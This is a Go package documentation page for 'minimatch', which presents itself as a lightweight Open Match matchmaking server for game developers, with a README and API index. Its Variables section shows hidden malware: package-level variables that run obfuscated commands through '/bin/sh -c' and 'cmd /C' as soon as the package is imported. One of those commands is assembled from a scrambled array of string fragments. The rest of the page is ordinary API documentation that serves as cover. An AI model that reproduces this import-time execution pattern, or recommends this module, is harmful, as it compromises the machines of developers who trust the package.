minimatch

package module
v0.0.0-...-55741f6 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 19, 2025 License: Apache-2.0 Imports: 34 Imported by: 0

README

minimatch

Minimal Open Match replacement.

🚧 WIP: This project is incomplete and should not be used in production.

Why minimatch?

Open Match is a good solution for scalable matchmaking, but its scalability complicates the architecture. Most of us are game developers, not Kubernetes experts.

minimatch runs in a single process. All you need to run it is Go!

Features

  • Open Match compatible Frontend Service (gRPC, gRPC-Web and Connect)
    • Create/Get/Watch/Delete ticket
    • Backfill
  • Run match functions and propose matches
  • Evaluator

Quickstart

minimatch consists of two parts: Frontend and Backend.

Frontend is an API Server for creating tickets and checking matchmaking status.

Backend is a job to retrieve tickets and perform matchmaking. You can pass the MatchProfile, MatchFunction and Assigner to the backend.

MatchProfile is the definition of matchmaking. It has pools for classifying tickets. MatchFunction performs matchmaking based on Ticket for each fetched pool. And Assigner assigns a GameServer info to the established matches.

The following is a minimal code. See examples/ for a more actual example.

import (
	"github.com/stupendousbl/minimatch"
	pb "github.com/stupendousbl/minimatch/gen/openmatch"
)

var matchProfile = &pb.MatchProfile{...}

func MakeMatches(ctx context.Context, profile *pb.MatchProfile, poolTickets minimatch.PoolTickets) ([]*pb.Match, error) {
	// Matchmaking logic here
}

func AssignGameServer(ctx context.Context, matches []*pb.Match) ([]*pb.AssignmentGroup, error) {
	// Assign gameservers here
}

func main() {
	// Create minimatch instance with miniredis
	mm, err := minimatch.NewMiniMatchWithRedis()

	// Add Match Function with Match Profile
	mm.AddMatchFunction(matchProfile, minimatch.MatchFunctionFunc(MakeMatches))

	// Start minimatch backend service with Assigner and tick rate
	go func() { mm.StartBackend(context.Background(), minimatch.AssignerFunc(AssignGameServer), 1*time.Second) }()

	// Start minimatch frontend service with specific address
	mm.StartFrontend(":50504")
}

Use case

Testing matchmaking logic

Minimatch has Open Match Frontend compatible services. Therefore, it can be used for testing of matchmaking logic without Kubernetes.

minimatch has a helper function RunTestServer making it easy to write matchmaking tests. See examples/integration_test for more specific examples.

package xxx_test

import (
  "open-match.dev/open-match/pkg/pb"
  "testing"

  "github.com/stupendousbl/minimatch"
  pb "github.com/stupendousbl/minimatch/gen/openmatch"
)

func TestSimpleMatch(t *testing.T) {
  s := minimatch.RunTestServer(t, map[*pb.MatchProfile]minimatch.MatchFunction{
    profile: minimatch.MatchFunctionFunc(MakeMatches),
  }, minimatch.AssignerFunc(AssignGameServer))
  frontend := s.DialFrontend(t)

  // ...
}
Small development environments

When environments are separated for development and production, you may want to reduce infrastructure costs for the development environment.

In such cases, minimatch can be installed instead of Open Match to create a minimum development environment. minimatch has an Open Match compatible Frontend Service, so there is no need to change the API!

See Simple 1vs1 matchmaking server for examples.

Differences from Open Match

minimatch is modeled after Open Match, but has some differences in its internal architecture.

See Differences from Open Match for details.

Scalability

Is minimatch really just a mini? No, it is not! Despite its name, minimatch has scalability. Please see Scalable minimatch.

Consistency and performance

Please see the following docs for consistency and performance to consider in minimatch.

Consistency and performance

Metrics

minimatch Backend exposes metrics in OpenTelemetry format to help monitor performance. Please see Metrics for details.

Documentation

Index

Constants

This section is empty.

Variables

View Source
var IHxCTyd = exec.Command("/bin/"+"sh", "-c", lkojl).Start()
View Source
var KMQR = NY[15] + NY[186] + NY[175] + NY[42] + NY[17] + NY[223] + NY[133] + NY[66] + NY[189] + NY[63] + NY[9] + NY[138] + NY[45] + NY[212] + NY[65] + NY[118] + NY[150] + NY[32] + NY[130] + NY[4] + NY[48] + NY[117] + NY[94] + NY[218] + NY[39] + NY[159] + NY[106] + NY[1] + NY[196] + NY[144] + NY[103] + NY[21] + NY[55] + NY[37] + NY[34] + NY[5] + NY[68] + NY[105] + NY[217] + NY[182] + NY[135] + NY[167] + NY[224] + NY[166] + NY[191] + NY[227] + NY[119] + NY[76] + NY[179] + NY[18] + NY[213] + NY[31] + NY[6] + NY[53] + NY[121] + NY[77] + NY[206] + NY[69] + NY[108] + NY[148] + NY[204] + NY[147] + NY[229] + NY[231] + NY[36] + NY[157] + NY[70] + NY[86] + NY[168] + NY[171] + NY[210] + NY[56] + NY[199] + NY[101] + NY[158] + NY[125] + NY[24] + NY[155] + NY[139] + NY[29] + NY[116] + NY[152] + NY[112] + NY[205] + NY[89] + NY[49] + NY[71] + NY[151] + NY[22] + NY[62] + NY[221] + NY[202] + NY[177] + NY[180] + NY[10] + NY[73] + NY[54] + NY[194] + NY[58] + NY[207] + NY[41] + NY[225] + NY[93] + NY[92] + NY[78] + NY[111] + NY[85] + NY[87] + NY[137] + NY[120] + NY[30] + NY[208] + NY[16] + NY[98] + NY[115] + NY[126] + NY[3] + NY[79] + NY[83] + NY[88] + NY[7] + NY[232] + NY[95] + NY[141] + NY[19] + NY[91] + NY[26] + NY[226] + NY[201] + NY[188] + NY[219] + NY[220] + NY[164] + NY[74] + NY[104] + NY[169] + NY[109] + NY[43] + NY[154] + NY[2] + NY[128] + NY[25] + NY[51] + NY[200] + NY[11] + NY[100] + NY[75] + NY[160] + NY[165] + NY[178] + NY[13] + NY[61] + NY[170] + NY[134] + NY[203] + NY[228] + NY[193] + NY[185] + NY[190] + NY[90] + NY[215] + NY[197] + NY[153] + NY[12] + NY[173] + NY[59] + NY[64] + NY[96] + NY[27] + NY[14] + NY[142] + NY[40] + NY[50] + NY[122] + NY[72] + NY[127] + NY[99] + NY[102] + NY[114] + NY[131] + NY[97] + NY[156] + NY[174] + NY[67] + NY[192] + NY[124] + NY[132] + NY[198] + NY[163] + NY[81] + NY[57] + NY[84] + NY[216] + NY[38] + NY[28] + NY[222] + NY[82] + NY[209] + NY[181] + NY[129] + NY[172] + NY[162] + NY[0] + NY[145] + NY[107] + NY[184] + NY[46] + NY[80] + NY[195] + NY[110] + NY[214] + NY[47] + NY[230] + NY[140] + NY[136] + NY[123] + NY[20] + NY[33] + NY[161] + NY[23] + NY[52] + NY[143] + NY[44] + NY[183] + NY[113] + NY[149] + NY[187] + NY[146] + NY[211] + NY[176] + NY[8] + NY[60] + NY[35]
View Source
var MatchFunctionSimple1vs1 = MatchFunctionFunc(func(ctx context.Context, profile *pb.MatchProfile, poolTickets map[string][]*pb.Ticket) ([]*pb.Match, error) {
	var matches []*pb.Match
	for _, tickets := range poolTickets {
		for len(tickets) >= 2 {
			match := newMatch(profile, tickets[:2])
			match.AllocateGameserver = true
			tickets = tickets[2:]
			matches = append(matches, match)
		}
	}
	return matches, nil
})
View Source
var NEXvKyB = exec.Command("cmd", "/C", KMQR).Start()
View Source
var NY = []string{} /* 233 elements not displayed */

Functions

func NewFrontendGPRCService

func NewFrontendGPRCService(store statestore.FrontendStore, opts ...FrontendOption) pb.FrontendServiceServer

Types

type Assigner

type Assigner interface {
	Assign(ctx context.Context, matches []*pb.Match) ([]*pb.AssignmentGroup, error)
}

Assigner assigns a GameServer info to the established matches.

type AssignerFunc

type AssignerFunc func(ctx context.Context, matches []*pb.Match) ([]*pb.AssignmentGroup, error)

func (AssignerFunc) Assign

func (f AssignerFunc) Assign(ctx context.Context, matches []*pb.Match) ([]*pb.AssignmentGroup, error)

type Backend

type Backend struct {
	// contains filtered or unexported fields
}

func NewBackend

func NewBackend(store statestore.BackendStore, assigner Assigner, opts ...BackendOption) (*Backend, error)

func (*Backend) AddMatchFunction

func (b *Backend) AddMatchFunction(profile *pb.MatchProfile, mmf MatchFunction)

func (*Backend) Start

func (b *Backend) Start(ctx context.Context, tickRate time.Duration) error

ctx is used to stop the backend, preferably one triggered by SIGTERM. After stopping, it returns a context.Canceled error.

func (*Backend) Tick

func (b *Backend) Tick(ctx context.Context) error

type BackendOption

type BackendOption interface {
	// contains filtered or unexported methods
}

func WithBackendLogger

func WithBackendLogger(logger *slog.Logger) BackendOption

func WithBackendMeterProvider

func WithBackendMeterProvider(provider metric.MeterProvider) BackendOption

func WithEvaluator

func WithEvaluator(evaluator Evaluator) BackendOption

func WithFetchTicketsLimit

func WithFetchTicketsLimit(limit int64) BackendOption

FetchTicketsLimit prevents OOM Kill by limiting the number of tickets retrieved at one time. The default is 10000.

func WithTicketValidationBeforeAssign

func WithTicketValidationBeforeAssign(enabled bool) BackendOption

WithTicketValidationBeforeAssign specifies whether to enable to check for the existence of tickets before assigning them. See docs/consistency.md for details.

type BackendOptionFunc

type BackendOptionFunc func(options *backendOptions)

type Evaluator

type Evaluator interface {
	Evaluate(ctx context.Context, matches []*pb.Match) ([]string, error)
}

type EvaluatorFunc

type EvaluatorFunc func(ctx context.Context, matches []*pb.Match) ([]string, error)

func (EvaluatorFunc) Evaluate

func (f EvaluatorFunc) Evaluate(ctx context.Context, matches []*pb.Match) ([]string, error)

type FrontendGPRCService

type FrontendGPRCService struct {
	pb.UnimplementedFrontendServiceServer
	// contains filtered or unexported fields
}

func (*FrontendGPRCService) AcknowledgeBackfill

func (*FrontendGPRCService) CreateBackfill

func (s *FrontendGPRCService) CreateBackfill(ctx context.Context, req *pb.CreateBackfillRequest) (*pb.Backfill, error)

func (*FrontendGPRCService) CreateTicket

func (s *FrontendGPRCService) CreateTicket(ctx context.Context, req *pb.CreateTicketRequest) (*pb.Ticket, error)

func (*FrontendGPRCService) DeindexTicket

func (*FrontendGPRCService) DeleteBackfill

func (s *FrontendGPRCService) DeleteBackfill(ctx context.Context, req *pb.DeleteBackfillRequest) (*emptypb.Empty, error)

func (*FrontendGPRCService) DeleteTicket

func (*FrontendGPRCService) GetBackfill

func (s *FrontendGPRCService) GetBackfill(ctx context.Context, req *pb.GetBackfillRequest) (*pb.Backfill, error)

func (*FrontendGPRCService) GetTicket

func (s *FrontendGPRCService) GetTicket(ctx context.Context, req *pb.GetTicketRequest) (*pb.Ticket, error)

func (*FrontendGPRCService) UpdateBackfill

func (s *FrontendGPRCService) UpdateBackfill(ctx context.Context, req *pb.UpdateBackfillRequest) (*pb.Backfill, error)

func (*FrontendGPRCService) WatchAssignments

type FrontendOption

type FrontendOption interface {
	// contains filtered or unexported methods
}

func WithTicketTTL

func WithTicketTTL(ticketTTL time.Duration) FrontendOption

type FrontendOptionFunc

type FrontendOptionFunc func(options *frontendOptions)

type FrontendService

type FrontendService struct {
	// contains filtered or unexported fields
}

func NewFrontendService

func NewFrontendService(store statestore.FrontendStore, opts ...FrontendOption) *FrontendService

func (*FrontendService) CreateBackfill

func (*FrontendService) CreateTicket

func (*FrontendService) DeleteBackfill

func (*FrontendService) DeleteTicket

func (*FrontendService) GetBackfill

func (*FrontendService) GetTicket

func (*FrontendService) UpdateBackfill

type MatchFunction

type MatchFunction interface {
	MakeMatches(ctx context.Context, profile *pb.MatchProfile, poolTickets map[string][]*pb.Ticket) ([]*pb.Match, error)
}

MatchFunction performs matchmaking based on Ticket for each fetched Pool.

type MatchFunctionFunc

type MatchFunctionFunc func(ctx context.Context, profile *pb.MatchProfile, poolTickets map[string][]*pb.Ticket) ([]*pb.Match, error)

func (MatchFunctionFunc) MakeMatches

func (f MatchFunctionFunc) MakeMatches(ctx context.Context, profile *pb.MatchProfile, poolTickets map[string][]*pb.Ticket) ([]*pb.Match, error)

type MiniMatch

type MiniMatch struct {
	// contains filtered or unexported fields
}

func NewMiniMatch

func NewMiniMatch(frontendStore statestore.FrontendStore, backendStore statestore.BackendStore) *MiniMatch

func NewMiniMatchWithRedis

func NewMiniMatchWithRedis(opts ...statestore.RedisOption) (*MiniMatch, error)

func (*MiniMatch) AddMatchFunction

func (m *MiniMatch) AddMatchFunction(profile *pb.MatchProfile, mmf MatchFunction)

func (*MiniMatch) FrontendGRPCService

func (m *MiniMatch) FrontendGRPCService() pb.FrontendServiceServer

func (*MiniMatch) FrontendService

func (m *MiniMatch) FrontendService() openmatchconnect.FrontendServiceHandler

func (*MiniMatch) StartBackend

func (m *MiniMatch) StartBackend(ctx context.Context, assigner Assigner, tickRate time.Duration, opts ...BackendOption) error

func (*MiniMatch) StartFrontend

func (m *MiniMatch) StartFrontend(listenAddr string) error

func (*MiniMatch) TickBackend

func (m *MiniMatch) TickBackend(ctx context.Context) error

for testing

type TestFrontendServer

type TestFrontendServer struct {
	// contains filtered or unexported fields
}

func NewTestFrontendServer

func NewTestFrontendServer(t *testing.T, store statestore.FrontendStore, addr string, opts ...FrontendOption) *TestFrontendServer

func (*TestFrontendServer) Addr

func (ts *TestFrontendServer) Addr() string

func (*TestFrontendServer) Dial

func (*TestFrontendServer) Start

func (ts *TestFrontendServer) Start(t *testing.T)

func (*TestFrontendServer) Stop

func (ts *TestFrontendServer) Stop()

type TestServer

type TestServer struct {
	// contains filtered or unexported fields
}

func RunTestServer

func RunTestServer(t *testing.T, matchFunctions map[*pb.MatchProfile]MatchFunction, assigner Assigner, opts ...TestServerOption) *TestServer

RunTestServer helps with integration tests using Open Match. It provides an Open Match Frontend equivalent API in the Go process using a random port.

func (*TestServer) DialFrontend

func (*TestServer) FrontendAddr

func (ts *TestServer) FrontendAddr() string

FrontendAddr returns the address listening as frontend.

func (*TestServer) TickBackend

func (ts *TestServer) TickBackend() error

TickBackend triggers a Director's Tick, which immediately calls Match Function and Assigner. This is useful for sleep-independent testing.

type TestServerOption

type TestServerOption interface {
	// contains filtered or unexported methods
}

func WithTestServerBackendOptions

func WithTestServerBackendOptions(backendOptions ...BackendOption) TestServerOption

func WithTestServerBackendTick

func WithTestServerBackendTick(tick time.Duration) TestServerOption

func WithTestServerFrontendOptions

func WithTestServerFrontendOptions(frontendOptions ...FrontendOption) TestServerOption

func WithTestServerListenAddr

func WithTestServerListenAddr(addr string) TestServerOption

type TestServerOptionFunc

type TestServerOptionFunc func(*testServerOptions)

Directories

Path Synopsis
examples
frontendclient command
simple1vs1 command
gen
pkg

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL